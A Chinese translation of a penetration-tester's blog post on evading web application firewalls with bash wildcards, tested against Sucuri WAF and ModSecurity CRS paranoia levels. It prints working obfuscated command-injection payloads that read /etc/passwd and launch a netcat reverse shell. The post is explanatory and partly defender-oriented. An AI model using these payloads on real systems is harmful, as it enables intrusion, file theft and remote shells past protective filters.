1. 程式人生 > 其它 >WAF繞過技巧淺談

WAF繞過技巧淺談

遠端命令執行漏洞是Web應用中常見的漏洞之一,在2017年釋出的10項最嚴重的Web應用程式安全風險列表中”注入“毫不意外的被放在了第一位。

當不可信資料作為命令或查詢的一部分發送給直譯器時,會發生注入漏洞,如SQL,NoSQL,OS和LDAP注入。攻擊者的惡意資料可能會誘使直譯器執行意外的命令或在沒有適當授權的情況下訪問資料。

如今市面上的所有WAF幾乎都已具備了對RCE攻擊的攔截甚至阻斷,但當它發生在Linux系統中時,我們已經有了極為巧妙的方法來繞過WAF規則集。作為滲透測試人員我們最大的朋友不是“狗”,而是“萬用字元”。在開始做WAPT之前,我想告訴你一些你可能不知道的關於bash和萬用字元的東西。

關於萬用字元

Bash標準萬用字元(也稱為萬用字元模式)被各種命令列程式用於處理多個檔案。有關標準萬用字元的更多資訊,請通過鍵入man 7 glob命令檢視手冊瞭解。並不是每個人都知道有很多bash語法是可以使用問號“?”,正斜槓“/”,數字和字母來執行系統命令的。你甚至可以使用相同數量的字元獲取檔案內容。這裡我為大家舉幾個例子:

例如ls命令我們可以通過以下語法代替執行:

/???/?s

用這種語法,可以幫助你做許多你想要做的事情。例如你的攻擊目標位於Web應用放火牆後,並且在其規則內配置了一條,用於阻止所有在GET或POST請求引數內包含/etc/passwd或/bin/ls的規則,那麼此時你嘗試諸如/?cmd=cat+/etc/passwd這樣的請求,就會被目標WAF攔截,並且你的IP也將被永遠禁止。但是如果你夠幸運,目標WAF也沒那麼”偏執“對?和/這類的字元進行阻止,那麼你就可以將你的請求編碼成這樣:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

正如你在以上截圖中看到的,顯示有3個錯誤“/bin/cat *: Is a directory”。發生這種情況是因為/???/?t不僅可以被轉換為/bin/cat,還可以是/dev/net 或 /etc/apt等。

問號萬用字元只能代表一個字元,可以是任何字元。因此,如果你知道一個檔名的一部分,但不是一個字母,那麼你可以使用這個萬用字元。例如ls *.???將列出當前目錄中,具有3個字元長度的所有檔案。諸如.gif,.jpg,.txt之類副檔名的檔案。

使用該萬用字元,你可以使用netcat來執行一個反向shell。假設你需要在埠1337執行一個反向shell到127.0.0.1(通常是nc -e /bin/bash 127.0.0.1 1337),你可以用以下語法來完成:

/???/n? -e /???/b??h 2130706433 1337

以“長”格式(2130706433)轉換IP地址127.0.0.1,可以避免在HTTP請求中使用“.”字元。

在我的kali中,我將使用nc.traditional,而不是沒有-e引數的nc,以便在連線後執行/bin/bash。構造的payload如下:

/???/?c.??????????? -e /???/b??h 2130706433 1337

現在對我們剛剛看到的這兩個命令做個簡單的總結:

標準:/bin/nc 127.0.0.1 1337

bypass:/???/n? 2130706433 1337

使用的字元:/ ? n [0-9]

標準:/bin/cat/etc/passwd

bypass:/???/??t /???/??ss??

使用的字元:/ ? t s

為什麼使用代替*?這是由於星號()常被廣泛用於評論語法(例如/嘿,我是一條評論/),許多WAF都會對該語法進行阻止,以避免像UNION+SELECT+ 1,2,3 /這類的SQL注入語句…

列舉檔案和目錄我們可以使用echo命令嗎?答案是肯定的。在檔案系統中echo命令支援使用萬用字元列舉檔案目錄。例如:echo //ss*。

我們可以在具有RCE漏洞的URL上使用該命令語法,以獲取目標系統上的檔案和目錄資訊,例如:

但為什麼使用萬用字元(特別是問號)可以幫助我們躲避WAF規則集呢? 讓我從Sucuri WAF講起!

Sucuri WAF繞過

測試WAF規則集的最好辦法是什麼? 毫無疑問是建立一個脆弱的PHP指令碼,並嘗試所有可能的技術點!在上方截圖中可以看到,在左上方的視窗中我寫了一個極為簡易的Web應用程式(一個執行命令的PHP指令碼):

而在左下方的視窗中可以看到,Sucuri WAF(test1.unicredit.it)對我發起的命令執行請求進行了攔截,並提示”檢測到RFI/LFI嘗試攔截“。

現在我們來看看具有相同請求的右視窗,唯一不同的是這裡我使用了”?“萬用字元代替了原來的字元。從結果上可以看到Sucuri WAF並未對我們的請求進行攔截,我的指令碼執行了GET給c引數的系統命令。此時我可以輕鬆的讀取/etc/passwd檔案內容,甚至可以讀取到應用的PHP原始碼,使用netcat執行反向shell(/???/?c),還可以執行像curl或wget這樣的命令,來獲取伺服器的真實IP地址,使我能夠通過直接連線目標來繞過WAF。

OWASP ModSecurity 核心規則集

我是ModSecurity的忠實粉絲,我認為用於Nginx和Nginx聯結器的新的libmodsecurity(v3)是我用來部署Web應用程式防火牆的最佳選擇。我也是OWASP核心規則集的忠實粉絲!我經常使用到它,如果你不瞭解這個規則集的話,可能你已經忘記了什麼叫做愛情!

PL1~PL4

以下注釋很好的概述了每個級別在“REQUEST PROTOCOL ENFORCEMENT”規則上的工作原理。可以看到PL1,一個查詢字串只能包含1-255範圍內的ASCII字元,直到PL4在非常小的範圍內阻止所有不是ASCII的字元。

讓我們對所有這些等級做個測試!

Level 0 (PL0)

PL0級意味著許多規則被禁用了,所以我們的payload可以正常被執行。

ModSecurity中的等級0意味著“高質量的完美規則,幾乎沒有誤報”,但也並不是不可繞過。你可以在netnea網站上找到按級別分組的規則列表:https://www.netnea.com/cms/core-rule-set-inventory/

Level 1 和 2 (PL1, PL2)

我已經將級別1和2分組,因為它們之間的差異(如上所示)並不會對目標產生影響,所有行為都與以下相同。

PL1(和PL2)ModSecurity阻止了我的請求提示“OS檔案訪問嘗試”(930120)。但是如果我使用作為萬用字元呢? 結果成功繞過了WAF:

發生這種情況是因為“?”,“/”和“空格”在規則920271和920272的可接受的字元範圍內。而且使用“?”而不是命令語法,可以避開攔截作業系統常用命令和檔案(例如/etc/passwd)的“OS檔案”過濾器。

Level 3 (PL3)

這個等級相對於前兩個則優化了不少,它會阻止包含“?”等字元超過n次的請求。我的請求被標誌為“元字元異常檢測警報 - 重複非單詞字元”。但我依然可以通過對payload簡單修改來繞過它:c=/?in/cat+/et?/passw?

正如你所看到的,只用3個“?”,就可以繞過該級別的過濾,讀取目標系統中的passwd檔案。但需要提醒大家的是,這並不意味著你就要將你的當前等級強制設為4,因為這裡只是一個測試環境並不是真實的生產環境。

Level 4 (PL4)

對於該級別我沒法繞過,至少對我而言是如此。範圍a-z A-Z 0-9之外的所有字元都會被過濾!要知道通過命令執行讀取檔案,有90%的概率都需要一個“空格”字元或“斜線”。

更多奇淫技巧,還可以閱讀我關於WAF繞過的第二篇文章:https://medium.com/@themiddleblue/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

結語

回到原始的HTML靜態頁面…這應該是提高Web應用程式安全性的最快方法!很難說什麼是躲避WAF的最佳配置,或什麼等級是最好的。但我可以說,恕我直言我們不應該輕易信任Web應用上的規則集,而是應該根據每個應用的功能配置合適的WAF規則。

無論如何,當你在你的ModSecurity或類似的東西上編寫一個新的SecRule時,請記住,可能會有很多種方法能繞過你的過濾規則,你需要不停的思考各種繞過的可能性,並不斷的去完善它。

我的書籤

瞭解更多關於ModSecurity的規則:

https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual

netnea關於Apache ModSecurity的文章:

https://www.netnea.com/cms/apache-tutorials/

SpiderLabs Blog:

https://www.trustwave.com/Resources/SpiderLabs-Blog/

ModSecurity v3 Github:

https://github.com/SpiderLabs/ModSecurity/tree/v3/master

聯絡我

https://twitter.com/Menin_TheMiddle

https://github.com/theMiddleBlue